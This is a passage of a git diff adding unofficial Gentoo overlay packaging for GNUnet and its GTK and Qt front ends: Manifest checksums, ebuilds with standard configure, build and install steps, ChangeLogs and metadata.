0e9d317352ad991c6e66ad7619a3df3f1b24637f50ccaf3df2acb54c9d13736f +DIST gnunet-gtk-0.9.0pre1.tar.gz 703337 SHA256 1a9e20d7ddb5aeed253924988f5f4172b6cb86f6f3573a600168b15cd534bdc3 +EBUILD gnunet-gtk-0.7.3.ebuild 703 SHA256 ef112666e8760d277d9125e0694dd46fd51988fefa53e109ec437ad3d8b0e9d8 SHA512 10585daf73ec418d1d46b1747d516c4787c3e26a19fcd77612b8f660b96f56c6fb030e2fccecb06e858eb6dde5c5a4f796b8e8ab89ae5f0505242a08ac9d2bd0 WHIRLPOOL 215b781e6e7e8cf1ef86ac273a5d7b56e01a5f4160c877e1f19cdc49e128517b6e8c32a64c5b7604d0305d9cad8ac7d41ec1b8707010bdb7483bd682790fb543 +EBUILD gnunet-gtk-0.8.0.ebuild 910 SHA256 35d0bd4e192eaa1a481375f3cbebfafac99c9d2dd1fd9a3a148475426e01257e SHA512 fe6264d73de271f523b229e0b9fd1bce62363b925fd72da36c4e1c2d684415cc9b91af2741f6475e7f2647feb0f2e9a904c563b628e5ab26cbca1ba56fc4137a WHIRLPOOL d657163830f2efc90b01a3d5facb60449409e85a1ca027b001b7f942eb5131e048744d2f8bcd20989f4576a689f48665403e9afd20ab2e9f054d847fc8485e8b +EBUILD gnunet-gtk-0.8.0_pre0.ebuild 909 SHA256 bb5da372e29626bcd701659fd0d8e13b72e8e498004b43a743369b96502cddf5 SHA512 0788cf74e0ea92f6597d6105495285cfa6a6ad925a0006a3f851c2e195368f6ba6913c5502777a422873b7bd218def8fd75f0f37c1ff630052c16e25c77e8c05 WHIRLPOOL 974a2634a790dc7b869ecd2ca7d1551e8dcf2bcd58135b7d601181dde3621870666720ba85f9aa269f57f3b037bd11ad5011259dbf65f17c504ff7e72f62efcb +EBUILD gnunet-gtk-0.8.0_pre1.ebuild 910 SHA256 35d0bd4e192eaa1a481375f3cbebfafac99c9d2dd1fd9a3a148475426e01257e SHA512 fe6264d73de271f523b229e0b9fd1bce62363b925fd72da36c4e1c2d684415cc9b91af2741f6475e7f2647feb0f2e9a904c563b628e5ab26cbca1ba56fc4137a WHIRLPOOL d657163830f2efc90b01a3d5facb60449409e85a1ca027b001b7f942eb5131e048744d2f8bcd20989f4576a689f48665403e9afd20ab2e9f054d847fc8485e8b +EBUILD gnunet-gtk-0.8.0a.ebuild 910 SHA256 35d0bd4e192eaa1a481375f3cbebfafac99c9d2dd1fd9a3a148475426e01257e SHA512 fe6264d73de271f523b229e0b9fd1bce62363b925fd72da36c4e1c2d684415cc9b91af2741f6475e7f2647feb0f2e9a904c563b628e5ab26cbca1ba56fc4137a WHIRLPOOL d657163830f2efc90b01a3d5facb60449409e85a1ca027b001b7f942eb5131e048744d2f8bcd20989f4576a689f48665403e9afd20ab2e9f054d847fc8485e8b +EBUILD gnunet-gtk-0.8.0c.ebuild 910 SHA256 35d0bd4e192eaa1a481375f3cbebfafac99c9d2dd1fd9a3a148475426e01257e SHA512 fe6264d73de271f523b229e0b9fd1bce62363b925fd72da36c4e1c2d684415cc9b91af2741f6475e7f2647feb0f2e9a904c563b628e5ab26cbca1ba56fc4137a WHIRLPOOL d657163830f2efc90b01a3d5facb60449409e85a1ca027b001b7f942eb5131e048744d2f8bcd20989f4576a689f48665403e9afd20ab2e9f054d847fc8485e8b +EBUILD gnunet-gtk-0.8.1.ebuild 909 SHA256 b9d88de0dc1af34fc0cd47847fab2e1df62e9a3fe31f6d2fa2fa32416a388586 SHA512 b4c7eb35f5ae1da5e566a490d0c9b84a7894748d3b116c344b930c37917e38483f3e74c21092ded12612ae2cca14aabcbe278a0188e26588fbdc4a967ea9f2ef WHIRLPOOL 31d8e8bd2620b152fafaf2ac10e0206dc60e10a7d71b2f3862d8aaeb3a9467b15ffcc9918889bc72ee1a2f59fca971b3d05f27bddb07090c8ec1ac8ca31c0b9d +EBUILD gnunet-gtk-0.8.1a.ebuild 909 SHA256 b9d88de0dc1af34fc0cd47847fab2e1df62e9a3fe31f6d2fa2fa32416a388586 SHA512 b4c7eb35f5ae1da5e566a490d0c9b84a7894748d3b116c344b930c37917e38483f3e74c21092ded12612ae2cca14aabcbe278a0188e26588fbdc4a967ea9f2ef WHIRLPOOL 31d8e8bd2620b152fafaf2ac10e0206dc60e10a7d71b2f3862d8aaeb3a9467b15ffcc9918889bc72ee1a2f59fca971b3d05f27bddb07090c8ec1ac8ca31c0b9d +EBUILD gnunet-gtk-0.9.0_pre1.ebuild 912 SHA256 b6f8cf03cf71cb449bebf831065273fb25178d1aec856bf04daf9ec9c8bbd591 SHA512 014af2573294b32c867fe03fc8043e43dc76495870169510d92d0e309b223d53fc0507add6836363ed4172f75c6ac996b9e1ede941388434059d0175f79919ab WHIRLPOOL f17aa88455b8c12d4f0ceb00c5088cd66f57a566f497f1942f879937d60808c4e0071fdb88354d576522699d3aa05d3610e55fe7709fd20835ce3fbdf8a351a3 +MISC ChangeLog 576 SHA256 a8838089da74c07a47df7c67194e5ccd870755212283d11b4cc1754323598c64 SHA512 ef34beb888d24805abba5f9a1674b74df356160f3d8075f34f61bae2003089e4274e82ed17c502b45f5575fab37948ce240109f8c2b326585215897b9909084e WHIRLPOOL 44142754327a8278e5ceadbf288de1e8b7eb69b1548b86fbc6a714ccc38772701128962e5791f777bb55461e413db2c676f6b487f358fe0f49fb35605aaa0b78 +MISC metadata.xml 464 SHA256 9c68dcb88251ff20fafcc013030550607c1dcf6448ab8966b5f331137127650b SHA512 5c0f3270f7b6f90e2ac81013957c23fb77c8a3634acc742041a961a3a0b88b80e3af0c6d317841489e2e045d5dd90f6a5f18d6d2bc7cba47ee082eb90558c0fc WHIRLPOOL c4b7adf608b8bce81d58bdab84349c8ae3fa956337f7abea3010bf9ba27ab4937874bc0ab133d78521a8ae36a887ef3eb7a61d8f51be3ffc29dc67011b389974 diff --git a/net-p2p/gnunet-gtk/gnunet-gtk-0.7.3.ebuild b/net-p2p/gnunet-gtk/gnunet-gtk-0.7.3.ebuild new file mode 100644 index 00000000..f2688923 --- /dev/null +++ b/net-p2p/gnunet-gtk/gnunet-gtk-0.7.3.ebuild @@ -0,0 +1,27 @@ +# Copyright 1999-2007 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ +# Nonofficial ebuild by Ycarus. For new version look here : http://gentoo.zugaina.org/ +# This ebuild is a small modification of the official gnunet ebuild + +DESCRIPTION="Graphical front end for GNUnet." +HOMEPAGE="http://gnunet.org/" +SRC_URI="http://gnunet.org/download/${P}.tar.bz2" + +KEYWORDS="~amd64 ~x86" +LICENSE="GPL-2" +SLOT="0" +IUSE="" + +DEPEND=">=x11-libs/gtk+-2.6.0 + >=net-p2p/gnunet-${PV} + >=gnome-base/libglade-2.0" + +src_compile() { + econf --with-gnunet=/usr || die "econf failed" + emake -j1 || die "emake failed" +} + +src_install() { + make install DESTDIR=${D} install || die +} diff --git a/net-p2p/gnunet-gtk/gnunet-gtk-0.8.0.ebuild b/net-p2p/gnunet-gtk/gnunet-gtk-0.8.0.ebuild new file mode 100644 index 00000000..4432582b --- /dev/null +++ b/net-p2p/gnunet-gtk/gnunet-gtk-0.8.0.ebuild @@ -0,0 +1,39 @@ +# Copyright 1999-2008 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ +# Nonofficial ebuild by Ycarus. For new version look here : http://gentoo.zugaina.org/ +# This ebuild is a small modification of the official gnunet-gtk ebuild + +inherit eutils autotools + +MY_PV=${PV/_pre/pre} +DESCRIPTION="Graphical front end for GNUnet." +HOMEPAGE="http://gnunet.org/" +SRC_URI="http://gnunet.org/download/${PN}-${MY_PV}.tar.bz2" + +KEYWORDS="~amd64 ~ppc64 ~x86" +LICENSE="GPL-2" +SLOT="0" +IUSE="" + +DEPEND=">=x11-libs/gtk+-2.6.0 + >=net-p2p/gnunet-${PV} + >=gnome-base/libglade-2.0" + +S=${WORKDIR}/${PN}-${MY_PV} + +src_unpack() { + unpack ${A} + cd "${S}" + AT_M4DIR="${S}/m4" eautoreconf +} + +src_compile() { + econf --with-gnunet=/usr || die "econf failed" + emake || die "emake failed" +} + +src_install() { + emake DESTDIR="${D}" install || die "emake install failed" +} + diff --git a/net-p2p/gnunet-gtk/gnunet-gtk-0.8.0_pre0.ebuild b/net-p2p/gnunet-gtk/gnunet-gtk-0.8.0_pre0.ebuild new file mode 100644 index 00000000..bbc2a165 --- /dev/null +++ b/net-p2p/gnunet-gtk/gnunet-gtk-0.8.0_pre0.ebuild @@ -0,0 +1,38 @@ +# Copyright 1999-2008 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ +# Nonofficial ebuild by Ycarus. For new version look here : http://gentoo.zugaina.org/ +# This ebuild is a small modification of the official gnunet-gtk ebuild + +inherit eutils autotools + +MY_PV=${PV/_pre/pre} +DESCRIPTION="Graphical front end for GNUnet." +HOMEPAGE="http://gnunet.org/" +SRC_URI="http://gnunet.org/download/${PN}-${MY_PV}.tar.bz2" + +KEYWORDS="~amd64 ~ppc64 ~x86" +LICENSE="GPL-2" +SLOT="0" +IUSE="" + +DEPEND=">=x11-libs/gtk+-2.6.0 + >=net-p2p/gnunet-${PV} + >=gnome-base/libglade-2.0" + +S=${WORKDIR}/${PN}-${MY_PV} + +src_unpack() { + unpack ${A} + cd "${S}" + AT_M4DIR="${S}/m4" eautoreconf +} + +src_compile() { + econf --with-gnunet=/usr || die "econf failed" + emake || die "emake failed" +} + +src_install() { + emake DESTDIR="${D}" install || die "emake install failed" +} diff --git a/net-p2p/gnunet-gtk/gnunet-gtk-0.8.0_pre1.ebuild b/net-p2p/gnunet-gtk/gnunet-gtk-0.8.0_pre1.ebuild new file mode 100644 index 00000000..4432582b --- /dev/null +++ b/net-p2p/gnunet-gtk/gnunet-gtk-0.8.0_pre1.ebuild @@ -0,0 +1,39 @@ +# Copyright 1999-2008 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ +# Nonofficial ebuild by Ycarus. For new version look here : http://gentoo.zugaina.org/ +# This ebuild is a small modification of the official gnunet-gtk ebuild + +inherit eutils autotools + +MY_PV=${PV/_pre/pre} +DESCRIPTION="Graphical front end for GNUnet." +HOMEPAGE="http://gnunet.org/" +SRC_URI="http://gnunet.org/download/${PN}-${MY_PV}.tar.bz2" + +KEYWORDS="~amd64 ~ppc64 ~x86" +LICENSE="GPL-2" +SLOT="0" +IUSE="" + +DEPEND=">=x11-libs/gtk+-2.6.0 + >=net-p2p/gnunet-${PV} + >=gnome-base/libglade-2.0" + +S=${WORKDIR}/${PN}-${MY_PV} + +src_unpack() { + unpack ${A} + cd "${S}" + AT_M4DIR="${S}/m4" eautoreconf +} + +src_compile() { + econf --with-gnunet=/usr || die "econf failed" + emake || die "emake failed" +} + +src_install() { + emake DESTDIR="${D}" install || die "emake install failed" +} + diff --git a/net-p2p/gnunet-gtk/gnunet-gtk-0.8.0a.ebuild b/net-p2p/gnunet-gtk/gnunet-gtk-0.8.0a.ebuild new file mode 100644 index 00000000..4432582b --- /dev/null +++ b/net-p2p/gnunet-gtk/gnunet-gtk-0.8.0a.ebuild @@ -0,0 +1,39 @@ +# Copyright 1999-2008 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ +# Nonofficial ebuild by Ycarus. For new version look here : http://gentoo.zugaina.org/ +# This ebuild is a small modification of the official gnunet-gtk ebuild + +inherit eutils autotools + +MY_PV=${PV/_pre/pre} +DESCRIPTION="Graphical front end for GNUnet." +HOMEPAGE="http://gnunet.org/" +SRC_URI="http://gnunet.org/download/${PN}-${MY_PV}.tar.bz2" + +KEYWORDS="~amd64 ~ppc64 ~x86" +LICENSE="GPL-2" +SLOT="0" +IUSE="" + +DEPEND=">=x11-libs/gtk+-2.6.0 + >=net-p2p/gnunet-${PV} + >=gnome-base/libglade-2.0" + +S=${WORKDIR}/${PN}-${MY_PV} + +src_unpack() { + unpack ${A} + cd "${S}" + AT_M4DIR="${S}/m4" eautoreconf +} + +src_compile() { + econf --with-gnunet=/usr || die "econf failed" + emake || die "emake failed" +} + +src_install() { + emake DESTDIR="${D}" install || die "emake install failed" +} + diff --git a/net-p2p/gnunet-gtk/gnunet-gtk-0.8.0c.ebuild b/net-p2p/gnunet-gtk/gnunet-gtk-0.8.0c.ebuild new file mode 100644 index 00000000..4432582b --- /dev/null +++ b/net-p2p/gnunet-gtk/gnunet-gtk-0.8.0c.ebuild @@ -0,0 +1,39 @@ +# Copyright 1999-2008 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ +# Nonofficial ebuild by Ycarus. For new version look here : http://gentoo.zugaina.org/ +# This ebuild is a small modification of the official gnunet-gtk ebuild + +inherit eutils autotools + +MY_PV=${PV/_pre/pre} +DESCRIPTION="Graphical front end for GNUnet." +HOMEPAGE="http://gnunet.org/" +SRC_URI="http://gnunet.org/download/${PN}-${MY_PV}.tar.bz2" + +KEYWORDS="~amd64 ~ppc64 ~x86" +LICENSE="GPL-2" +SLOT="0" +IUSE="" + +DEPEND=">=x11-libs/gtk+-2.6.0 + >=net-p2p/gnunet-${PV} + >=gnome-base/libglade-2.0" + +S=${WORKDIR}/${PN}-${MY_PV} + +src_unpack() { + unpack ${A} + cd "${S}" + AT_M4DIR="${S}/m4" eautoreconf +} + +src_compile() { + econf --with-gnunet=/usr || die "econf failed" + emake || die "emake failed" +} + +src_install() { + emake DESTDIR="${D}" install || die "emake install failed" +} + diff --git a/net-p2p/gnunet-gtk/gnunet-gtk-0.8.1.ebuild b/net-p2p/gnunet-gtk/gnunet-gtk-0.8.1.ebuild new file mode 100644 index 00000000..f6e8df91 --- /dev/null +++ b/net-p2p/gnunet-gtk/gnunet-gtk-0.8.1.ebuild @@ -0,0 +1,39 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ +# Nonofficial ebuild by Ycarus. For new version look here : http://gentoo.zugaina.org/ +# This ebuild is a small modification of the official gnunet-gtk ebuild + +inherit eutils autotools + +MY_PV=${PV/_pre/pre} +DESCRIPTION="Graphical front end for GNUnet." +HOMEPAGE="http://gnunet.org/" +SRC_URI="http://gnunet.org/download/${PN}-${MY_PV}.tar.gz" + +KEYWORDS="~amd64 ~ppc64 ~x86" +LICENSE="GPL-2" +SLOT="0" +IUSE="" + +DEPEND=">=x11-libs/gtk+-2.6.0 + >=net-p2p/gnunet-${PV} + >=gnome-base/libglade-2.0" + +S=${WORKDIR}/${PN}-${MY_PV} + +src_unpack() { + unpack ${A} + cd "${S}" + AT_M4DIR="${S}/m4" eautoreconf +} + +src_compile() { + econf --with-gnunet=/usr || die "econf failed" + emake || die "emake failed" +} + +src_install() { + emake DESTDIR="${D}" install || die "emake install failed" +} + diff --git a/net-p2p/gnunet-gtk/gnunet-gtk-0.8.1a.ebuild b/net-p2p/gnunet-gtk/gnunet-gtk-0.8.1a.ebuild new file mode 100644 index 00000000..f6e8df91 --- /dev/null +++ b/net-p2p/gnunet-gtk/gnunet-gtk-0.8.1a.ebuild @@ -0,0 +1,39 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ +# Nonofficial ebuild by Ycarus. For new version look here : http://gentoo.zugaina.org/ +# This ebuild is a small modification of the official gnunet-gtk ebuild + +inherit eutils autotools + +MY_PV=${PV/_pre/pre} +DESCRIPTION="Graphical front end for GNUnet." +HOMEPAGE="http://gnunet.org/" +SRC_URI="http://gnunet.org/download/${PN}-${MY_PV}.tar.gz" + +KEYWORDS="~amd64 ~ppc64 ~x86" +LICENSE="GPL-2" +SLOT="0" +IUSE="" + +DEPEND=">=x11-libs/gtk+-2.6.0 + >=net-p2p/gnunet-${PV} + >=gnome-base/libglade-2.0" + +S=${WORKDIR}/${PN}-${MY_PV} + +src_unpack() { + unpack ${A} + cd "${S}" + AT_M4DIR="${S}/m4" eautoreconf +} + +src_compile() { + econf --with-gnunet=/usr || die "econf failed" + emake || die "emake failed" +} + +src_install() { + emake DESTDIR="${D}" install || die "emake install failed" +} + diff --git a/net-p2p/gnunet-gtk/gnunet-gtk-0.9.0_pre1.ebuild b/net-p2p/gnunet-gtk/gnunet-gtk-0.9.0_pre1.ebuild new file mode 100644 index 00000000..69ed2efa --- /dev/null +++ b/net-p2p/gnunet-gtk/gnunet-gtk-0.9.0_pre1.ebuild @@ -0,0 +1,39 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ +# Nonofficial ebuild by Ycarus. For new version look here : http://gentoo.zugaina.org/ +# This ebuild is a small modification of the official gnunet-gtk ebuild + +inherit eutils autotools + +MY_PV=${PV/_pre/pre} +DESCRIPTION="Graphical front end for GNUnet." +HOMEPAGE="http://gnunet.org/" +SRC_URI="ftp://ftp.gnu.org/gnu/gnunet/${PN}-${MY_PV}.tar.gz" + +KEYWORDS="~amd64 ~ppc64 ~x86" +LICENSE="GPL-2" +SLOT="0" +IUSE="" + +DEPEND=">=x11-libs/gtk+-2.20.0 + >=net-p2p/gnunet-${PV} + >=gnome-base/libglade-2.0" + +S=${WORKDIR}/${PN}-${MY_PV} + +src_unpack() { + unpack ${A} + cd "${S}" + AT_M4DIR="${S}/m4" eautoreconf +} + +src_compile() { + econf --with-gnunet=/usr || die "econf failed" + emake || die "emake failed" +} + +src_install() { + emake DESTDIR="${D}" install || die "emake install failed" +} + diff --git a/net-p2p/gnunet-gtk/metadata.xml b/net-p2p/gnunet-gtk/metadata.xml new file mode 100644 index 00000000..ea536337 --- /dev/null +++ b/net-p2p/gnunet-gtk/metadata.xml @@ -0,0 +1,11 @@ + + + +net-p2p + + ycarus@zugaina.org + This ebuild come from http://gentoo.zugaina.org/ + + Graphical front end for GNUnet. + Interface graphique pour GNUnet. + diff --git a/net-p2p/gnunet-qt/ChangeLog b/net-p2p/gnunet-qt/ChangeLog new file mode 100644 index 00000000..1543af7e --- /dev/null +++ b/net-p2p/gnunet-qt/ChangeLog @@ -0,0 +1,14 @@ +# ChangeLog for net-p2p/gnunet-qt +# Copyright 1999-2010 Gentoo Foundation; Distributed under the GPL v2 +# $Header: $ + +*gnunet-qt-0.8.1a (23 Feb 2010) + + 23 Feb 2010; Ycarus +gnunet-qt-0.8.1a.ebuild: + Bump to 0.8.1a + +*gnunet-qt-0.8.1 (01 Jan 2010) + + 01 Jan 2010; Ycarus +gnunet-qt-0.8.1.ebuild: + Add gnunet-qt 0.8.1 + diff --git a/net-p2p/gnunet-qt/Manifest b/net-p2p/gnunet-qt/Manifest new file mode 100644 index 00000000..bb554cd9 --- /dev/null +++ b/net-p2p/gnunet-qt/Manifest @@ -0,0 +1,5 @@ +DIST gnunet-qt-0.8.1.tar.gz 459492 SHA256 e646be6837efee4b701d86f15331e35cec20fe4ad4e0be9065b3043b9db579da +DIST gnunet-qt-0.8.1a.tar.gz 459571 SHA256 e7ff781e3b7d41b2db11dabcee0bc1f81fbccf87e220f12fa738ca78e091ba17 +EBUILD gnunet-qt-0.8.1.ebuild 1094 SHA256 51eea3cbfe4578cce71bec8a5bef6ef24d3735ae0c1119bba4fe8f761318acc6 SHA512 6da8ddf07595ed249a3c5c31ff16d427cd32a4155cd9518f6b09c4482c7747e793348fa298969e983a4ca0bb7bb2f71effee110fdd2c88e4f2405e8a3b84eeba WHIRLPOOL 0753f98a4799e7173091454a792d362c18de3e6528df3dc4d556bfc8670eaac868ff448284e020d7cf6a11f8a0f3bcb899b39b2cdbbe8bef8436090d548b9567 +EBUILD gnunet-qt-0.8.1a.ebuild 663 SHA256 af33626271fff0bc348d481d5cfc0d0a446a43c60ef175c9a1b5268b93f93f71 SHA512 112c0c040d9b99431b588094e992159bbc6beca28f641ed357ca22427751f41c1d783e45bdb53aff1d636d5febab1e296c4e72fd26b377204f117783b665bcea WHIRLPOOL 6400e6a77f7366e27a5d00f3ce7d91d02705fd043814bd30005e73034c9dc9efdb462d259ec039e99104bb7c1da36baebeeca83ff00cbdc2d521d5d69c28fb55 +MISC ChangeLog 361 SHA256 56a36820afe2c8c7140b2f0b26cfd902e8185c7048afc86784d238e4adbec4d4 SHA512 9b2ce2f34709391d3825c468b88597dbcb6d06851f46d75bc47c146e41d7fa96bd9c21603de87c2818cb54436007a2bd582b391c78425e1429bc789543804f81 WHIRLPOOL 127462471d54a95617b7b7e9a901a04d20c1c031d009cf2caf6f2c014ef2a69c7a9beac786fbd9e7845952939b6f0c0edb3d9c2a10724f379343d869ba4a7edc diff --git a/net-p2p/gnunet-qt/gnunet-qt-0.8.1.ebuild b/net-p2p/gnunet-qt/gnunet-qt-0.8.1.ebuild new file mode 100644 index 00000000..4990812a --- /dev/null +++ b/net-p2p/gnunet-qt/gnunet-qt-0.8.1.ebuild @@ -0,0 +1,49 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="2" + +inherit eutils multilib qt4-r2 + +DESCRIPTION="QT Graphical front end for GNUnet." +HOMEPAGE="http://www.gnunet.org/" +SRC_URI="http://gnunet.org/download/${P}.tar.gz" + +LICENSE="|| ( GPL-2 GPL-3 )" +SLOT="0" +KEYWORDS="~alpha ~amd64 ~hppa ~ia64 ~ppc ~ppc64 ~sparc ~x86 ~x86-fbsd" +IUSE="" + +RDEPEND="x11-libs/qt-gui:4 + >=net-p2p/gnunet-${PV}" +DEPEND="${RDEPEND}" + +src_configure() { + econf --with-gnunet=/usr || die "econf failed" + emake || die "emake failed" +} + +src_install() { + emake DESTDIR="${D}" install || die "emake install failed" +} + +# cd "${S}"/Qt${myqtver} +# eqmake${myqtver} qscintilla.pro +# +# cd "${S}"/designer-Qt${myqtver} +# eqmake${myqtver} designer.pro +#} + +#src_compile() { +# cd "${S}"/Qt${myqtver} +# emake all staticlib || die "emake failed" +# +# cd "${S}"/designer-Qt${myqtver} +# emake || die "failed to build designer plugin" +#} + +#src_install() { +# emake INSTALL_ROOT="${D}" install || die "designer plugin installation failed" +# dodoc ChangeLog NEWS +#} diff --git a/net-p2p/gnunet-qt/gnunet-qt-0.8.1a.ebuild b/net-p2p/gnunet-qt/gnunet-qt-0.8.1a.ebuild new file mode 100644 index 00000000..64e8d308 --- /dev/null +++ b/net-p2p/gnunet-qt/gnunet-qt-0.8.1a.ebuild @@ -0,0 +1,29 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="2" + +inherit eutils multilib qt4-r2 + +DESCRIPTION="QT Graphical front end for GNUnet." +HOMEPAGE="http://www.gnunet.org/" +SRC_URI="http://gnunet.org/download/${P}.tar.gz" + +LICENSE="|| ( GPL-2 GPL-3 )" +SLOT="0" +KEYWORDS="~alpha ~amd64 ~hppa ~ia64 ~ppc ~ppc64 ~sparc ~x86 ~x86-fbsd" +IUSE="" + +RDEPEND="x11-libs/qt-gui:4 + >=net-p2p/gnunet-${PV}" +DEPEND="${RDEPEND}" + +src_configure() { + econf --with-gnunet=/usr || die "econf failed" + emake || die "emake failed" +} + +src_install() { + emake DESTDIR="${D}" install || die "emake install failed" +} diff --git a/net-p2p/gnunet/ChangeLog b/net-p2p/gnunet/ChangeLog new file mode 100644 index 00000000..7f06851e --- /dev/null +++ b/net-p2p/gnunet/ChangeLog @@ -0,0 +1,34 @@ +# ChangeLog for net-p2p/gnunet +# Copyright 1999-2010 Gentoo Foundation; Distributed under the GPL v2 +# $Header: $ + +*gnunet-0.8.1b (23 Feb 2010) + + 23 Feb 2010; Ycarus +gnunet-0.8.1b.ebuild: + Bump to 0.8.1b + +*gnunet-0.8.1a (16 Feb 2010) + + 16 Feb 2010; Ycarus +gnunet-0.8.1a.ebuild: + Bump to 0.8.1a + +*gnunet-0.8.1 (01 Jan 2010) + + 01 Jan 2010; Ycarus +gnunet-0.8.1.ebuild: + Bump to 0.8.1 + + 28 Feb 2009; Ycarus +gnunet-0.8.0c.ebuild: + Bump to 0.8.0c + + 30 Sep 2008; Ycarus +gnunet-0.8.0b.ebuild: + Bump to 0.8.0b + + 30 Jul 2008; Ycarus +gnunet-0.8.0a.ebuild: + Bump to version 0.8.0a + + 15 Jun 2008; +gnunet-0.8.0.ebuild: + Bump to version 0.8.0 + + 02 Jun 2008; +metadata.xml, +gnunet-0.8.0_pre1.ebuild: + Add gnunet 0.8.0_pre1 + diff --git a/net-p2p/gnunet/Manifest b/net-p2p/gnunet/Manifest new file mode 100644 index 00000000..0556159f --- /dev/null +++ b/net-p2p/gnunet/Manifest @@ -0,0 +1,64 @@ +AUX config-daemon.in.patch 243 SHA256 83a708781f79c2b7a64b1f6e27460082d251e9886a4f940ac6e229c430971cba SHA512 a8aa998e5a24321cadba412b29900f92204c698ab1d35b3fbb76af1c2e872048e7e15e5e0671f355353664a7104b38b21f92539a6d6bf6670f544fe6ff48e166 WHIRLPOOL b3e6bb901df1f146bc7d99d23eee92091e723d8371ad2b4c1d3c400940de7d0f074d15c45f10329214d28ce6a33a836a46f6a26695b4134b2701cce08d4a05cd +AUX gnunet 805 SHA256 657e8add8f4118f6e6cb5dd32a3e43b7965ef9f465d834a971ce1d7a32282a5f SHA512 57175229d7334c3d8dd1bb850e4c9dcce0ed4af2f3fc6101e4cd39d414ad7eb0d64a98b3060b218060ca87b4e5c34a2dc6f2544ddb4877037fd8fc4b58847822 WHIRLPOOL cba332a1cedc639576f15cb47a70294eda84683015f516d19f9a6b96d156ed7bfafc531a56cdfe96e72a67141783843e9c60a88ecbe943cba2047da351cd9b73 +AUX gnunet-0.9.0_pre0-gentoo.patch 595 SHA256 39e90168adccab4e0e1aa47b53d54c0fb0144b0405f2e676e1548863c6ca27cf SHA512 e661b294cdc2d589859391d735741630dcb6c5843a7b6c51ca8b77cf19dfa5583f8b2c45d60e9814237fb3164458345bbe37f566a5e0bcbbfc430235ef2a8403 WHIRLPOOL 2a56b2c19200041d7afb9ca3073645518cd4f8826a6ec914c5fcc5a414f9b9546b04516e1c088e045742fd6decfbe68e64ee62e74f74ed6169f39fa144146087 +AUX gnunet-0.9.0_pre2-gentoo.patch 703 SHA256 a88bb3fd10f738cd0eccc88f6b8d25d5814ec3f8cef373a70c6967b3ebeeb58f SHA512 fcfffe868bee2de9d741898c6563e922046c81f7c8e2fbb3668365b03b459a9f4c9fbfd4483064e57e869a9be17da2f1ffc170b8d76f02f59650222d7e30b294 WHIRLPOOL fd01db7ff172281bd423bf162947210b838ac87d6a6183af4485000e1515e52c49576a48f77abfa98b8797297c6d067fe81a1fb64157f87809af47d25e93ecfa +AUX gnunet-2 643 SHA256 a7f43c1a05240593cb828aef66a2ea5fb14aa1d93a4f6cd709054eae1cebe919 SHA512 32e7cef9a85d5a0c255d18b834b66283a5bc20628899af48f4eec5efbc477ba4e3f3b09d0287efcddcf3db077729596fb7f1516e4916bfba5514409a8dd7c999 WHIRLPOOL 75291e845e3330bd357d11e54733176d915bdd7b4a5aa76b5aede6fef2bc9b181abc595b600c2b7a951ebfa799fd2b73c2fba80e8d28c288f48351cdd0c5e6ef +AUX gnunet-download-manager.scm 13338 SHA256 a49047daf991597c869e43d300808990e3edfdf4f814a3e18b08d763fa84d7aa SHA512 ad8b963035bd8004c4b31059773cbd147c30737542847b53a033ea08a69bfc55afa2c239fc5e27804fce63bbad72b8770eb95d8dc07ab51ab21daeec9f7174cf WHIRLPOOL 30daaa9db0d6bb45831e7075d87fd6ad501b524cf738710fe3c61360fbb0e30a6220059f92c2a2c1764929d31a1f80703f4398560278551393b5a2c9a274df14 +AUX gnunet.initd 643 SHA256 c6748f137d7c808685a741617e1449024bcb37dcfc11e883d859f5e0134744a6 SHA512 37d3e759bd294675c4f0c758700f27af6ac4b6a931e513364a44fa2ac09ba334134f64f83d7d5cd3143e031b5674e297ba9d8df3b419fad3bcc6a0ce34f8e0c8 WHIRLPOOL f156f0663759eed035699dd99e422fd9ea94bd8d0e8074d11e228f5b9ab6968009a1f082b96845c6d38ff247367f78df82d9a0b9fc9fb7f2aef3204ffba8ea9d +AUX gnunet.initd-0.9.0 1008 SHA256 23c2143d88d57cb892bc9dedab28646c8e87d0ca31995deccec4aa2e1bb80256 SHA512 69ce1d54fd8358afcb4efcc1f79c67b046abe99b69983c8f8b702c3d2ab0525bd3ecfbb2bad61caad9e4a142f844c80fc5f4e4342a99614efdc55a737ff5c801 WHIRLPOOL d6dd498efe93f8978d7491c9b3b88bbdb98719ee1fd227cf611429514f3e3d01d666a4efd4608566d1b5035dabd9e006ddce61a4970243d794726e8abd838db7 +AUX gnunet.initd-0.9.0v2 821 SHA256 32d2027be0cb32459526e18dd1319aef4ec2cc361b4835278b7a97aedd64412a SHA512 44f32fba0f2875c05090381a530994b5704095c317ac5d22a44d798a63c5c3fd348785692e2e04ddcef78d933953e4973462d6b6af47382e9f8d71f6c918e34e WHIRLPOOL 6ff9fe2475c4e01838fe4c36573d948a29dae21bb90c47c9ae4395381d887c89f224fd3e1d2ae6bcdf9c24fb0d38c5e6bcf40f467f5873cad9946d1c429181e6 +DIST GNUnet-0.7.0b.tar.bz2 1307550 SHA256 39c493c18dd86ce957bb29a949cb724c018c72b74507dc00d65e2fd8fe9f8eaa +DIST GNUnet-0.7.0e.tar.bz2 1405884 SHA256 eea28505a825ce7404300c9dae25a7ebefbc681fc32082db0f92191ab7e14f18 +DIST GNUnet-0.7.1.tar.bz2 1375082 SHA256 e94158a942cfe557974964acb658c35cfeccc09bf9db7f572d1ff39faafdefd8 +DIST GNUnet-0.7.1a.tar.bz2 1399281 SHA256 e2629443a249a09fe3d97b1e71d3e097caaebda56b3079edd2a994c8de7b2554 +DIST GNUnet-0.7.1b.tar.bz2 1431707 SHA256 